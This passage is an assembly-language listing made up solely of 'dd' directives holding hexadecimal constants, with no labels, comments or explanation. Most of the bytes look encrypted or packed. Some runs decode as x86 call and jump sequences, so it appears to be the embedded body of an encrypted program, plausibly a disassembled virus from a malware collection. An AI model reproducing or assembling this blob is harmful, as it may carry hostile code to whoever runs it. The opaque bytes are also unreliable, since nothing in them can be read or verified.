dd 32156DA1h, 5FA0ED11h, 0DB1322ACh, 321561C4h, 1678EBA9h dd 879C6055h, 345142E5h, 0EBE2A86Fh, 96E69709h, 0CDEAF0F8h dd 0B588EB77h, 0CD132C27h, 19D2EDF1h, 76161794h, 0E390EF8Eh dd 0B913226Bh, 761617A7h, 0BF453117h, 78769A05h, 0B9C49942h dd 7605DFA7h, 0B9423617h, 7616170Dh, 0BF983642h, 345F0209h dd 0E29EB7EEh, 0BF3EAE03h, 345176FDh, 288CDBA1h, 3D156055h dd 32154D0Ch, 0FB90ED44h, 19132213h, 760FFF94h, 3DD45D8Eh dd 321571C2h, 7F90ED22h, 31132216h, 760FFF0Dh, 0BF90EF42h dd 0DB13223Ch, 32156652h, 7AD4EDD9h, 321A9949h, 0B79C2622h dd 345157D8h, 262CE389h, 0B7D26000h, 34517CBBh, 32156611h dd 327D26E2h, 63156654h, 0A7EA6648h, 34515628h, 1618F377h dd 0B79C6000h, 3451616Fh, 2C98E398h, 0CD4C60CCh, 760BEBF1h dd 8BA09924h, 65132201h, 3164D377h, 0B7986000h, 345F0E9Fh dd 0BF14B6EEh, 34517C11h, 2C98DBCFh, 879E6066h, 345176A8h dd 879EC27Bh, 34517AA1h, 0CE53A18Fh, 32156611h, 3710A649h dd 3D813184h, 170CE321h, 0BF9E6055h, 34517805h, 0F5B86ECDh dd 32159A64h, 879C6611h, 34517A6Dh, 3DEA9EC7h, 321546A7h dd 0EF2BE711h, 3DC8BB55h, 321572C1h, 3213A122h, 0B1156611h dd 879C624Eh, 34517AA1h, 0CDE380CBh, 31D5A7EEh, 170CE38Bh dd 8F966000h, 34517FAFh, 0AF916910h, 0B3156688h, 98BFCC7Ah dd 20906988h, 0B1156611h, 74D2624Eh, 321566B8h, 0DBA5F122h dd 321565F8h, 0DAA5F188h, 87A8E514h, 3313220Bh, 322BE21Eh dd 32AD6688h, 0B1156645h, 7903CC9Fh, 0B61A6617h, 32156680h dd 59EBFBC9h, 0E1EA6068h, 3D855991h, 32156E0Ch, 37D2E544h dd 321525CBh, 62EDE511h, 321FE487h, 0A2A56644h, 0DBBF3E88h dd 32156635h, 4D95CCD0h, 0B71A8FBBh, 3215663Ah, 24BFDB92h dd 3D1560C3h, 32156EC0h, 0FC88EB22h, 0CD132C7Ah, 3652EE5Bh dd 2C98E3CFh, 0F53E6066h, 99118E92h, 0CE53A125h, 32156644h dd 0CDEA77CBh, 0D7A0EFEEh, 60132294h, 3295662Ch, 0CD150C22h dd 7601AFA4h, 4F80998Eh, 6813225Eh, 2F00EBA9h, 33D26055h dd 32156688h, 0BB11A7C7h, 760873AFh, 0C7058F17h, 96FC9977h dd 52156642h, 2F00EBA9h, 3B9E6055h, 24B3EB01h, 0A94600Fh dd 7E51326Ch, 3209E31Eh, 0B3736688h, 1C59623Ch, 3205E32Dh dd 0C29E6611h, 0B913A00Bh, 761C63C1h, 33138F24h, 0C29E6611h dd 0FB26B603h, 3D155AE8h, 32153BA6h, 3D385A11h, 0CDEA890Ch dd 3D3B5ABBh, 32155BA6h, 3D255A11h, 3214660Ah, 3D2C5A44h dd 0CDEAB1A4h, 3D545AEEh, 3215960Ah, 3D4F5A44h, 0CDEAA1A4h dd 3D4A5AEEh, 0CDEAD90Ch, 3D745ABBh, 3215BEA0h, 3D6F5A11h dd 0CDEAC90Eh, 32DE8FBBh, 9576622h, 0F09169C7h, 78156688h dd 0CD8F8F05h, 0FB9099DDh, 32A6E21Eh, 87986688h, 345165C1h dd 0C89EACA9h, 3DBB48A1h, 0CDEA9F0Dh, 0C5DA4DBBh, 0B5EC4DFBh dd 0F4B195E6h, 0BF1599CFh, 7616E3D1h, 9390ED24h, 0B713220Eh dd 28906948h, 0F4156644h, 76178FA7h, 0E07D2117h, 0CDC1FC2Fh dd 76028FF1h, 9D90EB24h, 0CD132166h, 0E2EA3458h, 0B71AA6C1h dd 3215661Ah, 30B4E39Ah, 0F29060CCh, 320FE34Bh, 0B7D36622h dd 345164F8h, 2EFC0EC4h, 87EABF9Eh, 345171CBh, 45BAE39Ch dd 0E2EA60CFh, 0B7C59916h, 379069E2h, 0DB156611h, 321566A9h dd 24B3E3CDh, 64456069h, 410FE39Ch, 0E2EA60CFh, 0B71AA64Fh dd 32156627h, 321562F8h, 1651EF88h, 52D60758h, 24B3EBA9h dd 0B945605Ah, 0E556549h, 329DF6CFh, 0A79C6622h, 345178C8h dd 32159E8Dh, 3E45ED44h, 3F10F3ABh, 0B94D6055h, 193142CCh dd 37905D85h, 3D13222Fh, 32157693h, 0EB905D88h, 3D13225Ah dd 321562A1h, 36D70711h, 36D20788h, 32156660h, 1651A122h dd 32156615h, 3210DE88h, 0BF986644h, 34512877h, 0B87587EEh dd 3DFC5A8Eh, 321558C0h, 3DFD5A22h, 32152495h, 3D1A5A88h dd 321574C0h, 3DD85A22h, 32155995h, 3DFE5A88h, 32152FC0h dd 0B8D60722h, 0D195674Fh, 0B2EEE678h, 0CDFAE34Bh, 0EC9E99DDh dd 3113A592h, 26FC64D6h, 0B9156644h, 0C996677Ch, 1B9169EAh dd 0B9156688h, 334B659Ah, 0DB10A5A1h, 0CDEA99D8h, 334BD087h dd 3D3B8DC7h, 0CDEADAA6h, 321F8FEEh, 4C956688h, 0B71A9845h dd 0CDEA998Fh, 0CDEA06F8h, 61443077h, 9ED55513h, 0D195BEA8h dd 42EEE6E1h, 32F9E287h, 3D296644h, 3230E22Dh, 0DB296611h dd 3391E287h, 0D9296644h, 3000E22Dh, 0D1296611h, 3264E287h dd 0D0296644h, 3056E22Dh, 694A6611h, 0F5D638D1h, 790210C1h dd 32156024h, 0B20BEC11h, 0C995966Bh, 0D19069C4h, 7CEA99DDh dd 1378E39Ah, 0A79E60CCh, 34517859h, 0F196B8A9h, 304B6517h dd 0B01ABEB3h, 3215664Ch, 0B41ABC19h, 0CDEA99AFh, 0D996B9A3h dd 54B80042h, 0B1BEF589h, 0E9C62D7h, 1661EFACh, 5FA0EF48h dd 6D132206h, 0B14B3F4Ah, 52FC624Ch, 0F5EA99BEh, 790210A7h dd 32156417h, 3DCBED88h, 0CB9568F2h, 3A9669A2h, 31156611h dd 3FFC2551h, 0B2156644h, 0EBE299CBh, 32EA8790h, 0EB3E6688h dd 1378E3CFh, 0A79E6066h, 3451780Ch, 2864DB0Bh, 3D146000h dd 3215C5A6h, 3DCD5D11h, 3215FD0Ah, 3DCF5D44h, 0CDEA27A0h dd 329B8FEEh, 0B7D26688h, 345E7132h, 32156620h, 841AB89Ah dd 0B2ECE686h, 321DE54Bh, 0EB166622h, 32188F52h, 0DB956688h dd 0B3CC91BBh, 321599C3h, 0B9CC4D11h, 76340B0Dh, 2F80ED42h dd 0B113223Ch, 760F17ACh, 0B61A678Eh, 3215660Ch, 0B01ABE19h dd 32156619h, 0B41ABCB3h, 0CDEA98A2h, 981AD66Ch, 0B2A5689Bh dd 381A8708h, 0ED3ECC85h dd 0A1118DA1h, 30D3E5BAh, 1678D301h, 0B7D26000h, 34517C53h dd 32156610h, 6911A20Bh, 36D1E51Dh, 0DB11A2A1h, 0CDEA9F66h dd 98FCD6C6h, 0F53EA0CFh, 99118EA1h, 6911A292h, 0F69638D1h dd 0CBD28F40h, 0B7D299DDh, 345E7167h, 3215668Dh, 0F196B8CFh dd 0B90B6526h, 76340B94h, 2F80ED8Eh, 7C13225Ah, 2E70DBA1h dd 3D146055h, 3214650Ch, 3DCD5D44h, 32156EA0h, 3DCF5D11h dd 32154D0Eh, 5FA0EF44h, 0B9132206h, 7902108Ch, 1649678Eh dd 32CB8F48h, 0F54A6622h, 76090394h, 3215678Eh, 6C4C3D44h dd 0DB11A2A1h, 0CDEA9EE6h, 2864DB0Bh, 3D146000h, 3215DDA6h dd 5F884D11h, 0B91322A9h, 761617C9h, 19DE6524h, 37FCE5DEh dd 0A3BF8F38h, 36D1E5EFh, 0B14B3F79h, 1CFC62D5h, 0F5EA9971h dd 790210C1h, 32156424h, 3DCBED11h, 0CB95683Eh, 3A9669C4h dd 31156622h, 3FFC25C8h, 0B2156688h, 0EBE299ADh, 32EA87A3h dd 0EB3E6611h, 1378E303h, 0A79E6000h, 3451783Fh, 0CDEA20F8h dd 4490A177h, 30132D53h, 0B9156622h, 3CA369CFh, 3D959F08h dd 32156EC7h, 71CC6522h, 32156BF8h, 0CDFCE688h, 0D394BFB3h dd 321566DDh, 0B79EBF3Ah, 345147E5h, 2C08F3CFh, 8F966066h dd 34517C60h, 0FB916989h, 9EA99BAh, 3A9769FAh, 9156611h dd 55936952h, 7CEA99B9h, 0FD3EA8A9h, 82108F92h, 9984CC61h dd 0CDEDEEADh, 0E13ECDDh, 349169F9h, 0CA156688h, 32157EADh dd 0EC9E3522h, 0B1143812h, 0DAA5634Bh, 0B1CA4DEEh, 998662C9h dd 37D3E54Ah, 5444A571h, 0F12960CFh, 3255E22Dh, 0F9296611h dd 322DE287h, 0F0296644h, 322DE22Dh, 0F8296611h, 3225E287h dd 0F736644h, 0B61A43DDh, 32156621h, 0CD3B5BEEh, 3218E34Bh dd 749F6622h, 0EE54213h, 11916928h, 6B156644h, 322C8FDAh dd 0FB266611h, 320C8FC9h, 31AC6644h, 0DB156622h, 3215661Eh dd 32156031h, 32108F44h, 35AC6622h, 0C1156611h, 2F98ED2Ch dd 0B713225Ah, 349069EBh, 0BB156611h, 760B7B3Dh, 0F1EC3F42h dd 0E13ED44h, 579169D2h, 0B8156688h, 0C2F6E69Ch, 3D659DA2h dd 3215FA95h, 3DFC5A88h, 321529C0h, 3DFE5A22h, 32152195h dd 3DD75A88h, 321559C0h, 3DDE5A22h, 32155195h, 0CD280088h dd 1F916961h, 0E156622h, 179169DBh, 0E156688h, 509169A7h dd 54156622h, 3DEA482Ch, 32156B0Dh, 3053EC44h, 92299606h dd 3213E21Eh, 0DBED6688h, 3215664Bh, 2C08D3ABh, 0AF986055h dd 345F05A7h, 0F1ECB5BBh, 2253ED72h, 352CE398h, 0B14D60CCh dd 8F987A82h, 34515643h, 165165BCh, 8F98CDACh, 34516CF1h dd 1651658Fh, 0BFBE3635h, 7603EF35h, 7616CB42h, 6CBE4E06h dd 0AF9830D2h, 345F0580h, 95FCB5BBh, 0DFFFFFFFh, 6CD24ECEh dd 8AFD4AA8h, 0F251A245h, 547DC0D5h, 0ED96A40Fh, 8A152AA8h dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh dd 8660D554h, 2559D7BAh, 0C0CCB7CEh, 32DCF143h, 8C5FF020h dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 71FC38C8h dd 7462C1Eh, 0E28BD6DFh, 3C6D552h, 92B85E00h, 5E98354h dd 0CB8BA4F3h, 0DABA31E4h, 32565DB1h, 56BC2FEBh, 52501DDAh dd 6D2C113Ch, 77DDD3FBh, 0B95163B9h, 75DF79F4h, 221331B5h dd 0B95A1A38h, 75DFBAF4h, 0F09F36A1h, 0F436ABA1h, 76543C34h dd 0F305E983h, 11F1B0A4h, 0FD7AF29Dh, 17FB2375h, 0FB30418Ch dd 0F53FD525h, 19EADFDh, 3422913Fh, 0AC7ACFB7h, 0AD29B723h dd 0FD7A1A20h, 7C277975h, 0B784A698h, 96FFA073h, 7D7C6589h dd 5E983C8h, 0DB8BA4F3h, 1782BD8Dh, 8D8D064Bh, 64B3269h dd 156644B8h, 0C1CF2B32h, 73102E9h, 0C783C8D0h, 850F4904h dd 0FFFFFFF2h, 0BD83C08Bh, 64420CDh, 83097500h, 440B25BDh dd 19740006h, 0C08B5350h, 411B8h, 29858900h, 8D064422h dd 46A8B69Dh, 5BD3FF06h, 25BD8358h, 6440Bh, 53501774h dd 411B8h, 29858900h, 8D064422h, 46A5579Dh, 5BD3FF06h dd 0BBC08B58h, 4672A4F2h, 349B8D8Dh, 890F064Bh, 5, 7E0737BAh dd 5D8D891Eh, 8B06442Fh, 7985C7F3h, 5C064406h, 6A000062h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0FBC3C352h, 0E9835C3Ch, 0Eh, 0A9C3386Ah dd 7C3F52A4h, 9FBB0B8Bh, 85C76748h, 6441071h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0FCC35545h dd 2FEAA87h, 2F7C780h, 32A5BD8Bh, 0B5FF0644h, 644196Dh dd 24199589h, 95FF0644h, 6440BF9h, 0C85BD29h, 6A0644h dd 1C4D95FFh, 0C08B0644h, 0BC8C6AEBh, 803AAC2Eh, 3F7B72CFh dd 0D53236AFh, 0F3DCDAAEh, 6E136B20h, 45AD0091h, 0B0370BB7h dd 0F4CDF5F7h, 80D10757h, 6C7F933Ch, 0B63D1752h, 0AA8B9DC7h dd 252CD0DAh, 0CAF06344h, 89898A24h, 4DD2440Eh, 4E2CE3EAh dd 98460BE8h, 0B89FAB55h, 5B739390h, 0DEB66242h, 0FB56A2CAh dd 687BD5C1h, 5A86B4DFh, 0CCFECC15h, 0E4047199h, 0EDE9h dd 8C666000h, 0F04A8D8h, 0DF84h, 2DB58B00h, 8306441Eh dd 850F00FEh, 22h, 2E985C6h, 68450644h, 8E726969h, 2D7DB5FFh dd 858D0644h, 64777AFh, 8589D0FFh, 64420E1h, 3E80F08Bh dd 31850FE9h, 8D000000h, 497BF085h, 8BD0FF06h, 44041DBDh dd 84C78106h, 8B000011h, 441E2DB5h, 0B9F78706h, 8, 0B58BA4F3h dd 6441E2Dh, 0A95E858Dh, 0D0FF0647h, 0D9DB58Bh, 0FE830644h dd 22850F00h, 0C6000000h, 4402E985h, 0F4685406h, 0FFFF4EBEh dd 442D7DB5h, 0AF858D06h, 0FF064777h, 9D8589D0h, 8B06440Dh dd 0E93E80F0h, 3A850Fh, 0B58B0000h, 6440D9Dh, 7BF0858Dh dd 0D0FF0649h, 41DBD8Bh, 0C7810644h, 1184h, 8B08C783h dd 440D9DB5h, 0B9F78706h, 8, 0B58BA4F3h, 6440D9Dh, 0A95E858Dh dd 0D0FF0647h, 858DC361h, 64B350Fh, 2C558589h, 4EB0644h dd 1A75474Dh, 5C2E9h, 76E65C00h, 0DF85E1DFh, 64D84876h dd 2E8EF3CDh, 954FB987h, 26161E3Ch, 93AD04C0h, 2719B034h dd 97A900BCh, 5B1FB62Eh, 5DF9A03Fh, 84D2C2E5h, 0BD2B1536h dd 41A09E07h, 0CCF2BA9Bh, 1705BE57h, 0B3190FE7h, 0AACEEF55h dd 30008635h, 476647C9h, 0DE86E0DEh, 68DC4977h, 3DAB95F1h dd 94F1CF87h, 307A8E83h, 5F6179EEh, 0C45D7CE8h, 61C58AFAh dd 655BC2E3h, 7CE041FEh, 87FAC45Dh, 29524CD5h, 20440FFDh dd 0A039A31Eh, 9A42BF81h, 116A2203h, 9BB2805h, 4DEF536Dh dd 2F92AC05h, 0A71A248Dh, 3392AC35h, 2B5028B1h, 0DAF12FFh dd 75EF5769h, 2C85CDECh, 0BA2CB112h, 93B2930Ah, 0E359C9F7h dd 0EBAD32ABh, 92C93023h, 1628B133h, 0E0AB32AAh, 0DBBD8F9Bh dd 0F569CDBFh, 0B4C676EDh, 19E4F40h, 0C930025Ah, 4D735273h dd 542F67D5h, 0CC5337CAh, 0C930020Dh, 0A4D28AF6h, 8BFBCD85h dd 0A801F421h, 71h, 6ED64F1Ah, 94AF68F7h, 770CC930h, 0B3DE46ABh dd 11701F4h, 0A5000000h, 2BEE7115h, 0D4C93094h, 4869F06Ch dd 69571F3Eh, 0BADE47FDh, 491697C8h, 11599BD8h, 940DB72Fh dd 1E8735AAh, 17042E55h, 16BB2AAFh, 8F1637ADh, 5AC574EBh dd 2706C930h, 0B08E2706h, 904BD453h, 3DC9305Ah, 9064E78Eh dd 7C5D2B9Bh, 0AE90F45Dh, 8C309136h, 5D153415h, 0EE7115EFh dd 0C930942Bh, 0B9CF6DD4h, 78EED098h, 0FB6B55CCh, 0EB67511Ah dd 7263181h, 8044A09Eh, 3C12719h, 0F628E89Ah, 0BD2FDA98h dd 0E14ED8A3h, 6746DF85h, 23C5846h, 0E753D9Fh, 13D13724h dd 0BA1F84BAh, 21B8994Bh, 0A039A31Fh, 0A4F183E7h, 32D9660Dh dd 0FF2B5018h, 0F43EBA1Ah, 0B77B01h, 211F0000h, 0A7861FC5h dd 67155DEFh, 895691E8h, 234A9B83h, 0F7EEFD8Fh, 7615F17h dd 0E47DDF42h, 437DE4C5h, 27197DDFh, 0C53C02BAh, 0E7AF8E17h dd 60E4407Eh, 0E05CC7F9h, 0DD493279h, 8DAC1070h, 279CA2C6h dd 695624BDh, 1ABD7B6Dh, 502B6342h, 45FF69C6h, 0F074D2ECh dd 8636AA94h, 0F86957CEh, 0FE9ADD44h, 0BA61FE9Ah, 13C92F99h dd 98EEAD32h, 0FEDFC92Fh, 0AE61CDB6h, 0C58D2F90h, 0F3B6A3F3h dd 86166401h, 15069679h, 5A7BE95Ah, 4D4212h, 18260000h dd 0CE7C34A8h, 29F76715h, 959458E7h, 0DF85E3DDh, 53097846h dd 4FDBA0CAh, 66DF84E2h, 44DD87E1h, 0CC654465h, 6DD74F7Eh dd 15CF3709h, 9D5BC45Dh, 3CC93094h, 4024DB47h, 30941CDFh dd 0C48CADC9h, 0F4B392F2h, 1A301h, 4F110000h, 0CEF069D3h dd 8635AA55h, 47C93094h, 0D3400735h, 0F1D0517Bh, 4A3149D0h dd 0AD0F73E0h, 67AE4204h, 2C2E9C03h, 0CDBFCF74h, 9317DF9h dd 22BB9A0Fh, 943DA71Ch, 128B39AAh, 0EBB5CC8Dh, 949EE5C2h dd 0E2863EA7h, 55AEBD90h, 0EB990FCAh, 0EB99B8C2h, 4C0402DFh dd 0FA6ADBE5h, 39E85D63h, 0EC28F3A6h, 0D4F5D4C2h, 0FE28534Dh dd 5430B411h, 28ECAF30h, 0AFDDC2ECh, 0F4DDE461h, 347C5DCDh dd 1B3BAB9Dh, 3EF8FBB0h, 4A000001h, 2BEE7115h, 9CC93094h dd 1FB3F5BDh, 0A896F296h, 49BA8438h, 0FE4CD39Bh, 4FCF74C1h dd 5CC9F76Eh, 67F41E8h, 27FE441h, 0C3E27B5Ah, 7B1F7BE2h dd 0EC6735E4h, 0FFB796C2h, 34B364C1h, 0D723FA60h, 8BEF8BAAh dd 77EE4EB5h, 9A12C956h, 9ABBC2EBh, 2E554BD2h, 29AE1704h dd 0BA9B02BAh, 0A004329Bh, 61FBAFB9h, 0A23DE45Fh, 0C2EBA5F7h dd 98D0F1D0h, 4BC8h, 2B157A00h, 0AE1757B8h, 659FC827h dd 0AA4A0C44h, 39900F6Bh, 0B2C92FE2h, 34AD178Ch, 0C9AD3415h dd 99D18BF7h, 2FE25306h, 0D6E88CC9h, 0C1BAF26Ah, 0A1F48055h dd 0E2EF5AC5h, 5978C92Fh, 8764F0h, 72000000h, 129DA757h dd 81337B07h, 76129B37h, 74A097E9h, 4ED7F6CFh, 0F8511370h dd 7EE75DC6h, 0EC8935E1h, 1FC520C2h, 964EB886h, 30FA810Fh dd 61CDB6DCh, 7CD58FF4h, 7B1F963Ah, 37BE3BE4h, 20B998C9h dd 5B3FA51Eh, 0DA430165h, 522AB3FBh, 759E0836h, 912037DAh dd 9C052424h, 0A48EF5BDh, 8EEA23CFh, 6C017011h, 7F1B7FCFh dd 0EB9539E0h, 2CB392C2h, 0C2EB956Dh, 41377F5Eh, 0C9ADC960h dd 0EB95A356h, 4D0524C2h, 129B37FFh, 0CA38E976h, 0B987CF7Bh dd 0A51F874Ch, 0A53C1D3Ch, 9BBACC84h, 1DC73C02h, 0AB198AB4h dd 0D909AD32h, 82F9DF23h, 9A4ABB98h, 2C980D33h, 0A6168BB5h dd 0F23C473Fh, 0FE61A005h, 0AEBB473Bh, 0BB93FE8Ch, 20E5AF71h dd 36442001h, 95A8685Ch, 3990D819h, 0FA759E07h, 27950C8Dh dd 9B344255h, 25BADEBAh, 0AEBAA776h, 0A71FDA45h, 89A8AEBAh dd 0F96DEFFh, 129Bh, 71152900h, 30942BEEh, 83BD9CC9h, 1938A123h dd 4FDB6951h, 0C0FE67D5h, 4678E163h, 0C6F861DBh, 427CE55Fh dd 0C7F960E4h, 447AE361h, 0C6F861DBh, 457BE25Ah, 0EDFA63E1h dd 815F5457h, 4C7h, 4EF8300h, 5C243C87h, 81E28952h, 4C2h dd 4EA8100h, 87000000h, 895C2414h, 89532414h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 242C895Ch, 6CAFBB53h, 0E3C10E82h dd 5E3C102h, 216DEB81h, 0DA893AEBh, 4EC835Bh, 81242489h dd 42404h, 535D0000h, 8BBh, 1DEB8100h, 11F1B06h, 1DC381EBh dd 891F1B06h, 2C8B5B13h, 0E3895324h, 4C381h, 0C3830000h dd 241C8704h, 2434FF5Ch, 4C4815Ah, 0E9000000h, 0FFF94346h dd 0B805C936h, 64B3B3Ah, 0E0FFC503h, 79E3C924h, 4037F1D4h dd 3F494D78h, 31C3B514h, 1534EBBh, 44D69C16h, 519140FBh dd 4A1ACB81h, 7924312Dh, 55C8EA4Ah, 63515681h, 5995F2EEh dd 2715A6E5h, 70578048h, 1A9CBCADh, 66E7DDFDh, 5FFC1F0Fh dd 4490C5C3h, 181014B6h, 6F4BA63Dh, 27160FDFh, 3BD84533h dd 22A7C8Eh, 2C359FBCh, 36D03DD0h, 443D77DEh, 31FF2F3Ch dd 5A7BBCD1h, 4C07E3EFh dd 8EBh, 66B40000h, 9BE94E11h, 68000004h, 64B3D43h, 0F942ADE9h dd 3DA668FFh, 0A3E9064Bh, 68FFF942h, 64B3F02h, 0F94299E9h dd 6AD230FFh, 0DB89FDC3h, 68D44C72h, 0DA82FFC1h, 69DB4D73h dd 0C23AE2C0h, 7749E064h, 0C3FD5410h, 6B55FC60h, 0A7E34AFAh dd 589D5CC3h, 782EC2E5h, 0B82B15CAh, 14724C04h, 8EF7C950h dd 99397FD6h, 0ADE7781Ch, 0ECCF74B5h, 0CCB54CDh, 8CC2EC73h dd 5EC62BF7h, 97FBB092h, 2ECh, 0EA5ACDF3h, 2B1510A2h, 0F24109BBh dd 28650DFEh, 0AF0D724Ch, 3B5F1736h, 7496DAA4h, 5A1A3BCFh dd 1A224C3Eh, 5A457C8h, 425C2ECh, 2CDDAD76h, 6EB5FB64h dd 2CC4C051h, 0FEDF85FEh, 0D7CF059Ah, 2F0ED452h, 0D560F0B6h dd 7CC2EB1h, 112FD20Fh, 30460EB6h, 0DA4B7511h, 88FDC36Ah dd 0D71479DCh, 0B92086C2h, 3182Dh, 26960C00h, 0EF55B18Fh dd 54087846h, 0FE5EC3FDh, 45FF6957h, 0F666CEECh, 437DD490h dd 0F7C960E4h, 4779D08Ch, 8BCF66DEh, 57C970EFh, 5402C2E5h dd 579B37E6h, 309411C8h, 0BA9BBAC9h, 0D0EA41DEh, 5D63CF7Bh dd 395D7CE8h, 8A23A107h, 0B9252B4h, 0E557E094h, 74F055C2h dd 57E9A2D1h, 4FDB4284h, 2B5h, 68C17BE9h, 0DF76EE56h, 72DB81E1h dd 0C069D34Ch, 75DC88FEh, 0F96FCD57h, 69DCE24Bh, 0F56C52FBh dd 73D0EE47h, 781C58F1h, 0E55734E7h, 71C395C2h, 76129B37h dd 7BD082E9h, 73EACBCFh, 0E55829ECh, 46D0ABC2h, 0A97385E1h dd 1D2AEFBh, 4F1C0000h, 780A6ED6h, 32F2F41Eh, 78E1A9E8h dd 367DD46h, 5341F867h, 62C2C930h, 0FDB594E2h, 0EF423054h dd 3BA31507h, 0DE72347Ch, 9A0D3357h, 9906622Ah, 0CF73D2ABh dd 59A0322h, 0C2EBD252h, 5AED3942h, 0D45FF64h, 0AFEDCB3Bh dd 3E68FBh, 320C0000h, 0AA8B12D2h, 9B3750E2h, 76127612h dd 0FC63D948h, 0C930943Dh, 78E7AF8Eh, 0CF749FE2h, 0C930A2Bh dd 0C2EC8949h, 53E6304Bh, 88F1A837h, 0FBDAC2ECh, 0A82185B3h dd 0D4D2FBB0h, 60000000h, 0A6ED64Fh, 5810CC34h, 9E89FFC1h dd 30945A01h, 735273C9h, 5BF2917h, 6CF5BD9Ch, 1773F152h dd 942DEC73h, 0BF9EC930h, 340A6EF7h, 0AC8D14D0h, 270F05DEh dd 3179CFBCh, 0F46B960Fh, 0C92FF645h, 2F86A786h, 2FFAE3B0h dd 71F350C9h, 0BBF29ED8h, 0A05140DFh, 0AB8ACF76h, 3297F1CFh dd 0AA8B12D2h, 485AB8D8h, 0E7C6AD63h, 0EB16704Eh, 0E9E0C574h dd 62706C2h, 0A59EDAA3h, 3970E7Bh, 159h, 0CC65D74Dh, 7BD292F2h dd 0D67FDD45h, 6CC577E8h, 0D970F452h, 5DCB31FBh, 15704EE7h dd 0C93806AFh, 1F84BA13h, 2C480CA5h, 0E55508B3h, 2597C1C2h dd 0C26BD94Fh, 0A69887FCh, 3F1E873Dh, 3093F9A0h, 0D2F3D2C9h dd 8E4DD2B6h, 3FC93094h, 1F3EA601h, 4F4CFE57h, 0C9F76ED6h dd 741E85Ch, 0D946226Bh, 0CF74E273h, 5A019EFAh, 73C2EC46h dd 0F2A93652h, 0DBC2EC45h, 0CDBFDBFAh, 50E9D431h, 0BDD9917Bh dd 0A3EC2583h, 5AC41DE4h, 0E0067F0Dh, 433CB0E0h, 0A154CB62h dd 30C2EBABh, 0F06F920Eh, 0C2EBAB49h, 0CA82A382h, 7CD58FF4h dd 87FE442h, 7D197D5Ch, 0EBAB37E2h, 38AE90C2h, 1534158Ch dd 9650C45Dh, 0E2000000h, 76129B37h, 7BD086E9h, 7FE6C7CFh dd 460E441h, 531BC93Ah, 0A05FC4FAh, 0E5587C3Fh, 22A205C2h dd 30547554h, 652D970Eh, 803563FCh, 0D2A90B3Fh, 0CA7AEB48h dd 2FE85D63h, 0DECF3F2h, 1D79585Fh, 5133E679h, 0B5947B1Fh dd 0E55A64FDh, 9DDC6724h, 0E2FB626h, 0D7C53D7Ch, 4D6CF56Fh dd 17294D6Ch, 0E27B33B1h, 6EF765DCh, 940BF650h, 7B1EBBE5h dd 7FE6C7E6h, 5AB27C07h, 60CD5922h, 0D6E84103h, 0A6EF76Dh dd 0BC4AF16Eh, 0A2837B1Eh, 37EEAh, 49CC0000h, 67D54FFBh dd 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch, 0E361C7F9h dd 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 5455EDFAh, 4C5815Dh dd 83000000h, 2C8704EDh, 0D8685C24h, 89000066h, 64682404h dd 89000058h, 7D682414h, 8900001Ch, 0CCBD242Ch, 0B870063Dh dd 76517A4Bh, 545DE829h, 8124148Bh, 4C4h, 4EC8300h, 8F240489h dd 148B0842h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h dd 582434FFh, 4C481h, 2BE90000h, 98FFF93Eh, 1CAE7C9h, 8D0D565Ch dd 0A1F30B63h, 80B88929h, 3064B40h, 0D3E0FFC5h, 1831D6B5h dd 2665A0CAh, 8C3151A7h, 0BE60E567h, 95008BE3h, 59387126h dd 0F779C181h, 542F1453h, 0D30E7BEAh, 0EF6C4966h, 5357E93Dh dd 0EB25EBF5h, 7A1FD004h, 556E966h, 950F0000h, 54B08E27h dd 9B073990h, 49B68821h, 0A2043A93h, 7FA98B22h, 10B92B9Dh dd 0A40DB72Eh, 1CB5279Ah, 0AA03C122h, 66158AEEh, 67C2E553h dd 0D64F8331h, 5FC9F76Eh, 0F7D686FAh, 4103605Eh, 0C77DE6D8h dd 1304605Eh, 5177826Fh, 94F0CEDCh, 5668F1D0h, 0A8A722EBh dd 0B86C2F8Dh, 0C33E0099h, 83F88019h, 95EEA597h, 5BC8F689h dd 195170E9h, 6206BE27h, 447AEA5Ch, 0DAFB62E2h, 9E053B92h dd 81F3973Eh, 52EA0D48h, 0EFD1992Eh, 3551C874h, 0BB6F0B47h dd 91D926B4h, 0E88C38AFh, 0D0F43C9Ah, 8EC67C93h, 790B6F17h dd 0D7482E8Ch, 0C9302524h, 11F684A5h, 83F8B057h, 9547BA97h dd 23A1023Ch, 0CE7325BAh, 3942C92Fh, 0ED9C08EDh, 635901F3h dd 0EB000000h, 0F76ED64Fh, 3094AF68h, 56680CC9h, 403B73E9h dd 0D84723D6h, 0C9309421h, 0AA51CEAAh, 23C93094h, 5D6B2302h dd 1F4B3E9h, 10Ah, 0D74FB800h, 5ACAF46Dh, 651773EAh, 8AA5463Dh dd 0CC2270BDh, 49C9AAE6h, 0A11E2068h, 2100BC24h, 9E88F3B8h dd 46EF55B1h, 0F0590B78h, 0B6E1E694h, 2A8CD53h, 2B15F84Ah dd 7C420ABAh, 63E1450Ah, 81E5DB42h, 6EF765DCh, 0E9F76E4Fh dd 0CFF18892h, 9EA0E854h, 2B15BC28h, 0AD930ABAh, 87E38735h dd 30946118h, 0ED546AC9h, 0D6F7D64Fh, 3B40079Eh, 0B1AA0AEFh dd 844B01F4h, 0F9000000h, 0F6BD94Fh, 0A6ED631h, 3093E695h dd 8EC6E7C9h, 50B92917h, 0C8BE5C3Ah, 0DD49771Eh, 0FEDFFE67h dd 0CB572C67h, 0F31FF86Eh, 4033137Ah, 93ADC9E8h, 0A356C930h dd 24C9307Fh, 0C56C2405h, 5BC88DFBh, 3551C8E9h, 7F0BCE51h dd 9DBCC930h, 0C676EBD5h, 0B763185Fh, 0F49D0252h, 5D3301h dd 4F810000h, 0CCF26BD9h, 7E3DA255h, 4FC93094h, 0E8D64F6Eh dd 635DC478h, 0A3DB4202h, 94FE4ED8h, 70D643EFh, 